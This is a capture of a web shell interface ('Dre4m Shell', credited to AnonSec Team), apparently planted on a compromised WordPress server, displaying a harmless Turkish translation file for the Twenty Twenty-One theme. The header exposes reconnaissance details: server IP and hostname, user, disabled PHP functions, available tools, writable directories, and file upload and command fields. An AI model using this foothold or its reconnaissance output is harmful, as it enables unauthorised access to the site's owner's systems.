Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.141.198.75
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/task/3/cwd/var/www/wordpress/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/task/3/cwd/var/www/wordpress/wp-content/languages/themes/twentytwentyone-tr_TR.po
# Translation of Themes - Twenty Twenty-One in Turkish
# This file is distributed under the same license as the Themes - Twenty Twenty-One package.
msgid ""
msgstr ""
"PO-Revision-Date: 2023-08-08 22:12:07+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.0-alpha.7\n"
"Language: tr\n"
"Project-Id-Version: Themes - Twenty Twenty-One\n"

#. Description of the theme
#, gp-priority: high
msgid "Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. With new block patterns, which allow you to create a beautiful layout in a matter of seconds, this theme’s soft colors and eye-catching — yet timeless — design will let your work shine. Take it for a spin! See how Twenty Twenty-One elevates your portfolio, business website, or personal blog."
msgstr "Yirmi Yirmibir fikirleriniz için boş bir tuval ve blok düzenleyiciyi de en iyi fırçanız olarak sunuyor. Yeni blok desenleri ile saniyeler içinde harikulade düzenler oluşturabilirsiniz. Temanın yumuşak renkleri ve göz alıcı —zamandan bağımsız— tasarımı işlerinizin ışıldamasını sağlayacak. Bir tur atıp deneyin! Portföyünüzü, kurumsal web sitenizi ya da kişisel blogunuzun Yirmi Yirmibir tarafından göklere çıkarılmasına şahit olun."

#. Theme Name of the theme
#: classes/class-twenty-twenty-one-dark-mode.php:381 inc/block-patterns.php:24
#, gp-priority: high
msgid "Twenty Twenty-One"
msgstr "Yirmi Yirmibir"

#: inc/template-tags.php:241
msgid "Older <span class=\"nav-short\">posts</span>"
msgstr "Daha eski <span class=\"nav-short\">yazılar</span>"

#: inc/template-tags.php:230
msgid "Newer <span class=\"nav-short\">posts</span>"
msgstr "Daha yeni <span class=\"nav-short\">yazılar</span>"

#: classes/class-twenty-twenty-one-customize-notice-control.php:40
#: classes/class-twenty-twenty-one-dark-mode.php:178
msgid "https://wordpress.org/documentation/article/twenty-twenty-one/#dark-mode-support"
msgstr "https://wordpress.org/documentation/article/twenty-twenty-one/#dark-mode-support"

#. translators: %s: Twenty Twenty-One support article URL.
#: classes/class-twenty-twenty-one-dark-mode.php:177
msgid "Dark Mode is a device setting. If a visitor to your site requests it, your site will be shown with a dark background and light text. <a href=\"%s\">Learn more about Dark Mode.</a>"
msgstr "Koyu mod bir cihaz ayarıdır. Eğer sitenizin bir ziyaretçisi bu yönde talepte bulunursa koyu renk arka plan ve açık renk metin gösterilir. <a href=\"%s\">Koyu mod hakkında daha fazlasını öğrenin.</a>"

#: classes/class-twenty-twenty-one-dark-mode.php:181
msgid "Dark Mode can also be turned on and off with a button that you can find in the bottom corner of the page."
msgstr "Karanlık modu sayfanın sağ alt köşesinde göreceğiniz düğmeden de açıp kapatabilirsiniz."

#: classes/class-twenty-twenty-one-dark-mode.php:380
msgid "This website uses LocalStorage to save the setting when Dark Mode support is turned on or off.<br> LocalStorage is necessary for the setting to work and is only used when a user clicks on the Dark Mode button.<br> No data is saved in the database or transferred."
msgstr "Bu site koyu renk modu desteği için açık ya da kapalı tercihinizi LocalStorage (YerelDepolama) kullanarak saklamaktadır.<br> LocalStorage bu ayarın çalışması için gereklidir ve sadece kullanıcı Koyu renk düğmesine bastığında kullanılır.<br> Veritabanında hiç bir bilgi kaydedilmez ya da transfer edilmez."

#: classes/class-twenty-twenty-one-dark-mode.php:379
msgid "Suggested text:"
msgstr "Önerilen metin:"

#: classes/class-twenty-twenty-one-dark-mode.php:378
msgid "Twenty Twenty-One uses LocalStorage when Dark Mode support is enabled."
msgstr "Yirmi Yirmibir koyu renk desteği etkinleştirildiğinde LocalStorage kullanır."

#: classes/class-twenty-twenty-one-dark-mode.php:188
msgid "Dark Mode support"
msgstr "Koyu renk desteği"

#: classes/class-twenty-twenty-one-customize-notice-control.php:41
msgid "Learn more about Dark Mode."
msgstr "Koyu renk hakkında daha fazlasını öğrenin."

#: classes/class-twenty-twenty-one-customize-notice-control.php:39
msgid "To access the Dark Mode settings, select a light background color."
msgstr "Koyu renk ayarlarına ulaşmak için bir açık arka plan rengi seçin."

#: classes/class-twenty-twenty-one-dark-mode.php:134
msgid "Colors & Dark Mode"
msgstr "Renkler ve koyu mod"

#: inc/template-tags.php:77
msgctxt "Label for sticky posts"
msgid "Featured post"
msgstr "Öne çıkarılmış yazı"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Submit"
msgstr "Gönder"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Password"
msgstr "Parola"

#: inc/template-functions.php:183
msgctxt "Added to posts and pages that are missing titles"
msgid "Untitled"
msgstr "Başlıksız"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "Cambridge, MA, 02139"
msgstr "Ataköy, İST, 34851"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "123 Main Street"
msgstr "123 Ana cadde"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "123-456-7890"
msgstr "123-456-7890"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "example@example.com"
msgstr "ornek@ornek.com"

#: classes/class-twenty-twenty-one-customize.php:138
msgctxt "Customizer control"
msgid "Background color"
msgstr "Arka plan rengi"

#. translators: %s: WordPress Version.
#: inc/back-compat.php:42 inc/back-compat.php:61 inc/back-compat.php:86
msgid "This theme requires WordPress 5.3 or newer. You are running version %s. Please upgrade."
msgstr "Bu tema WordPress 5.3 ya da daha üst sürümünü gerektirir. Şu an %s sürümünü kullanmaktasınız. Lütfen güncelleyin."

#. translators: %: Page number.
#: image.php:48 template-parts/content/content-page.php:36
#: template-parts/content/content-single.php:30
#: template-parts/content/content.php:36
msgid "Page %"
msgstr "Sayfa %"

#: functions.php:187
msgctxt "Font size"
msgid "XXXL"
msgstr "XXXL"

#: functions.php:181
msgctxt "Font size"
msgid "XXL"
msgstr "XXL"

#: functions.php:175
msgctxt "Font size"
msgid "XL"
msgstr "XL"

#: functions.php:169
msgctxt "Font size"
msgid "L"
msgstr "L"

#: functions.php:163
msgctxt "Font size"
msgid "M"
msgstr "M"

#: functions.php:157
msgctxt "Font size"
msgid "S"
msgstr "S"

#: functions.php:151
msgctxt "Font size"
msgid "XS"
msgstr "XS"

#: comments.php:85
msgid "Leave a comment"
msgstr "Yorum Gönderin"

#. translators: %s: Comment count number.
#: comments.php:39
msgctxt "Comments title"
msgid "%s comment"
msgid_plural "%s comments"
msgstr[0] "%s yorum"
msgstr[1] "%s yorum"

#: comments.php:34
msgid "1 comment"
msgstr "1 yorum"

#: classes/class-twenty-twenty-one-dark-mode.php:334
msgid "On"
msgstr " "

#: classes/class-twenty-twenty-one-dark-mode.php:331
msgid "Off"
msgstr "Kapalı"

#. translators: %s: On/Off
#: classes/class-twenty-twenty-one-dark-mode.php:321
msgid "Dark Mode: %s"
msgstr "Koyu mod: %s"

#: inc/template-functions.php:422
msgid "This content is password protected. Please enter a password to view."
msgstr "Bu içerik parola korumalıdır. Görüntülemek için lütfen bir parolanızı girin."

#. translators: Hidden accessibility text.
#: inc/menu-functions.php:35
msgid "Open menu"
msgstr "Menüyü aç"

#: inc/block-patterns.php:125
msgid "&#8220;Reading&#8221; by Berthe Morisot"
msgstr "&#8220;Okuma&#8221;, Berthe Morisot"

#: inc/block-patterns.php:101
msgid "&#8220;Self portrait&#8221; by Berthe Morisot"
msgstr "&#8220;Kendi portresi&#8221;, Berthe Morisot"

#: inc/block-patterns.php:101
msgid "&#8220;Daffodils&#8221; by Berthe Morisot"
msgstr "&#8220;Nergis&#8221;, Berthe Morisot"

#: inc/block-patterns.php:89 inc/block-patterns.php:125
#: inc/starter-content.php:43
msgid "&#8220;Roses Trémières&#8221; by Berthe Morisot"
msgstr "&#8220;Gülhatmi&#8221;, Berthe Morisot"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Enter"
msgstr "Giriş"

#: inc/starter-content.php:128
msgctxt "Theme starter content"
msgid "Check out the Support Forums"
msgstr "Destek forumlarına göz atın"

#: inc/starter-content.php:122
msgctxt "Theme starter content"
msgid "Read the Theme Documentation"
msgstr "Tema belgelerini okuyun"

#: inc/starter-content.php:112
msgctxt "Theme starter content"
msgid "Need help?"
msgstr "Yardıma mı ihtiyacınız var?"

#: inc/starter-content.php:97
msgctxt "Theme starter content"
msgid "Twenty Twenty-One also includes an overlap style for column blocks. With a Columns block selected, open the \"Styles\" panel within the Editor sidebar. Choose the \"Overlap\" block style to try it out."
msgstr "Yirmi Yirmibir ayrıca sütun bloklar için üst üste geçen bir stil barındırıyor. Sütun blokları seçiliyken, düzenleyici kenar çubuğundaki \"Stiller\" panelini açın. \"Üst üste bindir\" blok stilini seçerek deneyin."

#: inc/starter-content.php:93
msgctxt "Theme starter content"
msgid "Overlap columns"
msgstr "Sütunları üst üste bindir"

#: inc/starter-content.php:87
msgctxt "Theme starter content"
msgid "Twenty Twenty-One includes stylish borders for your content. With an Image block selected, open the \"Styles\" panel within the Editor sidebar. Select the \"Frame\" block style to activate it."
msgstr "Yirmi Yirmibir içeriğiniz için şık kenarlıklar içerir. Bir görsel bloğu seçiliyken düzenleyici kenar çubuğundaji \"Stiller\" panelini açın. Etkinleştirmek için \"Çerçeve\" blok stilini seçin."

#: inc/starter-content.php:83
msgctxt "Theme starter content"
msgid "Frame your images"
msgstr "Görsellerinizi çerçeveleyin"

#: inc/starter-content.php:77
msgctxt "Theme starter content"
msgid "Block patterns are pre-designed groups of blocks. To add one, select the Add Block button [+] in the toolbar at the top of the editor. Switch to the Patterns tab underneath the search bar, and choose a pattern."
msgstr "Blok desenleri önceden tasarlanmış blok gruplarıdır. Bir tane eklemek için düzenleyicinin en üstünde yer alan [+] Blok ekleme tuşuna basın. Arama çubuğunun hemen altındaki Desenler sekmesine geçin ve bir desen seçin."

#: inc/starter-content.php:73
msgctxt "Theme starter content"
msgid "Add block patterns"
msgstr "Blok desenleri ekleyin"

#: inc/starter-content.php:30 inc/starter-content.php:33
msgctxt "Theme starter content"
msgid "Create your website with blocks"
msgstr "Web sitenizi bloklar ile oluşturun"

#: inc/block-patterns.php:125
msgid "Reading"
msgstr "Okuma"

#: inc/block-patterns.php:125
msgid "Young Woman in Mauve"
msgstr "Eflatunlar içinde genç kadın"

#: inc/block-patterns.php:125
msgid "The Garden at Bougival"
msgstr "Bougival'daki bahçe"

#: inc/block-patterns.php:125
msgid "In the Bois de Boulogne"
msgstr "Bois de Baoulogne'de"

#: inc/block-patterns.php:125
msgid "Villa with Orange Trees, Nice"
msgstr "Portakal ağaçları ile villa, Nice"

#: inc/block-patterns.php:125
msgid "Roses Trémières"
msgstr "Gülhatmiler"

#: inc/block-patterns.php:114
msgid "&#8220;Villa with Orange Trees, Nice&#8221; by Berthe Morisot"
msgstr "&#8220;Portakal ağaçları ile villa, Nice&#8221;, Berthe Morisot"

#: inc/block-patterns.php:114
msgid "Beautiful gardens painted by Berthe Morisot in the late 1800s"
msgstr "Berthe Morisot tarafından 1800'lerde resmedilmiş harikulade bahçeler"

#: inc/block-patterns.php:114 inc/block-patterns.php:125
msgid "&#8220;The Garden at Bougival&#8221; by Berthe Morisot"
msgstr "&#8220;Bougival'daki bahçe&#8221;, Berthe Morisot"

#: inc/block-patterns.php:89 inc/block-patterns.php:125
#: inc/starter-content.php:61
msgid "&#8220;Young Woman in Mauve&#8221; by Berthe Morisot"
msgstr "&#8220;Eflatunlar içinde genç kadın&#8221;, Berthe Morisot"

#: inc/block-patterns.php:89 inc/block-patterns.php:125
#: inc/starter-content.php:51
msgid "&#8220;In the Bois de Boulogne&#8221; by Berthe Morisot"
msgstr "&#8220;Bois de Baoulogne'de&#8221;, Berthe Morisot"

#: inc/block-patterns.php:76
msgid "Berthe Morisot<br>(French, 1841-1895)"
msgstr "Berthe Morisot<br>(Fransız, 1841-1895)"

#: inc/block-patterns.php:76
msgid "Playing in the Sand"
msgstr "Kumlarda oyun"

#: inc/block-patterns.php:76
msgid "&#8220;Playing in the Sand&#8221; by Berthe Morisot"
msgstr "&#8220;Kumlarda oyun&#8221;, Berthe Morisot"

#. translators: %s: Parent post.
#: image.php:61
msgid "Published in %s"
msgstr "%s altında yayımlanmış"

#: classes/class-twenty-twenty-one-customize.php:108
msgid "Summary"
msgstr "Özet"

#: classes/class-twenty-twenty-one-customize.php:85
msgid "Excerpt Settings"
msgstr "Özet ayarları"

#: inc/block-styles.php:98
msgid "Thick"
msgstr "Kalın"

#: classes/class-twenty-twenty-one-customize.php:106
msgid "On Archive Pages, posts show:"
msgstr "Arşiv sayfalarında, gönderiler:"

#. translators: %s: Author name.
#: template-parts/post/author-bio.php:31
msgid "View all of %s's posts."
msgstr "%s yazarına ait tüm yazıları görüntüle."

#. translators: %s: Author name.
#: inc/template-tags.php:49 template-parts/post/author-bio.php:19
msgid "By %s"
msgstr "%s tarafından"

#: template-parts/content/content-none.php:61
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Görünüşe göre aradığınız şeyi bulamıyoruz. Belki de arama yardımcı olabilir."

#: template-parts/content/content-none.php:56
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Üzgünüz, ancak arama terimlerinizle hiçbir şey eşleşmedi. Lütfen farklı anahtar kelimelerle tekrar deneyin."

#. translators: %s: Link to WP admin new post page.
#: template-parts/content/content-none.php:43
msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>."
msgstr "İlk yazınızı yayınlamaya hazır mısınız? <a href=\"%s\">Buradan başlayın</a>."

#: single.php:40
msgid "Previous post"
msgstr "Önceki yazı"

#: single.php:39
msgid "Next post"
msgstr "Sonraki yazı"

#. translators: %s: Parent post link.
#: single.php:25
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%s</span>"
msgstr "<span class=\"post-title\">%s</span> <span class=\"meta-nav\">altında yayımlanmış</span>"

#: searchform.php:26
msgctxt "submit button"
msgid "Search"
msgstr "Ara"

#: searchform.php:24
msgid "Search&hellip;"
msgstr "Arama&hellip;"

#. translators: %d: The number of search results.
#: search.php:33
msgid "We found %d result for your search."
msgid_plural "We found %d results for your search."
msgstr[0] "Aramanız sonucu %d sonuç bulduk."
msgstr[1] "Aramanız sonucu %d sonuç bulduk."

#. translators: %s: Search term.
#: search.php:21 template-parts/content/content-none.php:22
msgid "Results for \"%s\""
msgstr "\"%s\" için arama sonuçları"

#. translators: %s: List of tags.
#: inc/template-tags.php:116 inc/template-tags.php:158
msgid "Tagged %s"
msgstr "%s ile etiketlenmiş"

#. translators: %s: List of categories.
#: inc/template-tags.php:107 inc/template-tags.php:149
msgid "Categorized as %s"
msgstr "%s olarak sınıflandırılmış"

#. translators: Used between list items, there is a space after the comma.
#: functions.php:654
msgid ", "
msgstr ", "

#. translators: %s: Post title. Only visible to screen readers.
#: image.php:70 image.php:96 inc/template-tags.php:92 inc/template-tags.php:133
#: template-parts/content/content-page.php:48
msgid "Edit %s"
msgstr "%s yazısını düzenle"

#. translators: %s: Post title. Only visible to screen readers.
#: inc/template-functions.php:138
msgid "Continue reading %s"
msgstr "Okumaya devam et %s"

#: inc/block-styles.php:71
msgid "Dividers"
msgstr "Ayırıcılar"

#: inc/block-styles.php:62
msgid "Frame"
msgstr "Çerçeve"

#: inc/block-styles.php:35 inc/block-styles.php:44 inc/block-styles.php:53
#: inc/block-styles.php:80 inc/block-styles.php:89
msgid "Borders"
msgstr "Kenarlıklar"

#: inc/block-styles.php:26
msgid "Overlap"
msgstr "Üst üste gelme"

#: inc/block-patterns.php:135
msgctxt "Block pattern description"
msgid "A block with 3 columns that display contact information and social media links."
msgstr "İletişim bilgilerini ve sosyal medya bağlantılarını gösteren 3 sütunlu bir blok."

#: inc/block-patterns.php:132
msgid "Contact information"
msgstr "İletişim bilgileri"

#: inc/block-patterns.php:124
msgctxt "Block pattern description"
msgid "A list of projects with thumbnail images."
msgstr "Küçük resim resimler ile projelerin bir listesi."

#: inc/block-patterns.php:122
msgid "Portfolio list"
msgstr "Portföy listesi"

#: inc/block-patterns.php:113
msgctxt "Block pattern description"
msgid "An overlapping columns block with two images and a text description."
msgstr "İki görsel ve bir metin açıklaması ile üst üste binen sütunlar bloğu."

#: inc/block-patterns.php:109
msgid "Overlapping images and text"
msgstr "Üst üste gelmiş görseller ve metin"

#: inc/block-patterns.php:100
msgctxt "Block pattern description"
msgid "A media & text block with a big image on the left and a smaller one with bordered frame on the right."
msgstr "Solda büyük bir görsel ve sağda kenarlıklı daha küçük bir çerçeve ile ortam ve metin bloğu."

#: inc/block-patterns.php:97
msgid "Two images showcase"
msgstr "İki görselli vitrin"

#: inc/block-patterns.php:88
msgctxt "Block pattern description"
msgid "Three images inside an overlapping columns block."
msgstr "İçinde üç görsel ile üst üste binen sütunlar bloğu."

#: inc/block-patterns.php:84
msgid "Overlapping images"
msgstr "Üst üste gelmiş görseller"

#: inc/block-patterns.php:75
msgctxt "Block pattern description"
msgid "A Media & Text block with a big image on the left and a heading on the right. The heading is followed by a separator and a description paragraph."
msgstr "Sola büyük bir görsel ve sağda başlık ile bir ortam ve metin bloğu. Başlığı bir ayraç ve açıklama paragrafı takip eder."

#: inc/block-patterns.php:72
msgid "Media and text article title"
msgstr "Ortam ve metin makale başlığı"

#: inc/block-patterns.php:64
msgid "example@example.com"
msgstr "ornek@ornek.com"

#: inc/block-patterns.php:64
msgid "Dribbble"
msgstr "Dribbble"

#: inc/block-patterns.php:64
msgid "Instagram"
msgstr "Instagram"

#: inc/block-patterns.php:64
msgid "Twitter"
msgstr "Twitter"

#: inc/block-patterns.php:64
msgid "Let&#8217;s Connect."
msgstr "Haydi bağlanalım."

#: inc/block-patterns.php:63
msgctxt "Block pattern description"
msgid "A huge text followed by social networks and email address links."
msgstr "Büyük bir metin, takip eden sosyal ağlar ve e-posta adresi bağlantıları."

#: inc/block-patterns.php:59
msgid "Links area"
msgstr "Bağlantılar alanı"

#: inc/block-patterns.php:51
msgid "A new portfolio default theme for WordPress"
msgstr "WordPress için yeni bir portföy varsayılan tema"

#: inc/block-patterns.php:47
msgid "Large text"
msgstr "Büyük metin"

#. translators: Hidden accessibility text.
#: image.php:84
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "Tam boy"

#. translators: %s: Publish date.
#: inc/template-tags.php:29
msgid "Published %s"
msgstr "Yayım tarihi %s"

#: comments.php:61 image.php:45 inc/template-tags.php:224
#: template-parts/content/content-page.php:33
#: template-parts/content/content-single.php:27
#: template-parts/content/content.php:33
msgid "Page"
msgstr "Sayfa"

#: template-parts/header/site-nav.php:19
msgid "Close"
msgstr "Kilitle"

#: template-parts/header/site-nav.php:16
msgid "Menu"
msgstr "Menü"

#: functions.php:76 inc/starter-content.php:154
#: template-parts/header/site-nav.php:13
msgid "Primary menu"
msgstr "Birincil menü"

#. translators: Hidden accessibility text.
#: header.php:29
msgid "Skip to content"
msgstr "İçeriğe geç"

#: functions.php:363
msgid "Add widgets here to appear in your footer."
msgstr "Alt alanda gözükmek üzere buraya bileşenler ekleyin."

#: functions.php:361
msgid "Footer"
msgstr "Dip"

#: functions.php:309
msgid "Red to purple"
msgstr "Kırmızıdan mora"

#: functions.php:304
msgid "Purple to red"
msgstr "Mordan kırmızıya"

#: functions.php:299
msgid "Yellow to red"
msgstr "Sarıdan kırmızıya"

#: functions.php:294
msgid "Red to yellow"
msgstr "Kırmızıdan sarıya"

#: functions.php:289
msgid "Yellow to green"
msgstr "Sarıdan yeşile"

#: functions.php:284
msgid "Green to yellow"
msgstr "Yeşilden sarıya"

#: functions.php:279
msgid "Yellow to purple"
msgstr "Sarıdan mora"

#: functions.php:274
msgid "Purple to yellow"
msgstr "Mordan sarıya"

#: functions.php:263
msgid "White"
msgstr "Beyaz"

#: functions.php:258
msgid "Yellow"
msgstr "Sarı"

#: functions.php:253
msgid "Orange"
msgstr "Turuncu"

#: functions.php:248
msgid "Red"
msgstr "Kırmızı"

#: functions.php:243
msgid "Purple"
msgstr "Mor"

#: functions.php:238
msgid "Blue"
msgstr "Mavi"

#: functions.php:233
msgid "Green"
msgstr "Yeşil"

#: functions.php:228
msgid "Gray"
msgstr "Gri"

#: functions.php:223 inc/block-styles.php:107
msgid "Dark gray"
msgstr "Koyu gri"

#: functions.php:218
msgid "Black"
msgstr "Siyah"

#: functions.php:186
msgid "Gigantic"
msgstr "Devasa"

#: functions.php:180
msgid "Huge"
msgstr "Kocaman"

#: functions.php:174
msgid "Extra large"
msgstr "Ekstra büyük"

#: functions.php:168
msgid "Large"
msgstr "Büyük"

#: functions.php:162
msgid "Normal"
msgstr "Normal"

#: functions.php:156
msgid "Small"
msgstr "Küçük"

#: functions.php:150
msgid "Extra small"
msgstr "Çok küçük"

#. translators: %s: WordPress.
#: footer.php:67
msgid "Proudly powered by %s."
msgstr "%s ile güçlendirilmiştir."

#: footer.php:24 functions.php:77 inc/starter-content.php:165
msgid "Secondary menu"
msgstr "İkincil menü"

#: comments.php:78
msgid "Comments are closed."
msgstr "Yorumlar kapatıldı."

#: comments.php:70
msgid "Newer comments"
msgstr "Yeni yorumlar"

#: comments.php:66
msgid "Older comments"
msgstr "Daha eski yorumlar"

#: classes/class-twenty-twenty-one-customize.php:109
msgid "Full text"
msgstr "Tüm metin"

#: classes/class-twenty-twenty-one-customize.php:75
msgid "Display Site Title & Tagline"
msgstr "Site başlığını ve sloganını göster"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Burada bir şey bulamadık. Bir de aramayı denemek ister misiniz?"

#: 404.php:16 template-parts/content/content-none.php:30
msgid "Nothing here"
msgstr "Burada bir şey yok"

#. Author URI of the theme
#: footer.php:68
#, gp-priority: low
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

#. Author of the theme
#, gp-priority: low
msgid "the WordPress team"
msgstr "WordPress ekibi"

#. Theme URI of the theme
#, gp-priority: low
msgid "https://wordpress.org/themes/twentytwentyone/"
msgstr "https://wordpress.org/themes/twentytwentyone/"

Anon7 - 2022
AnonSec Team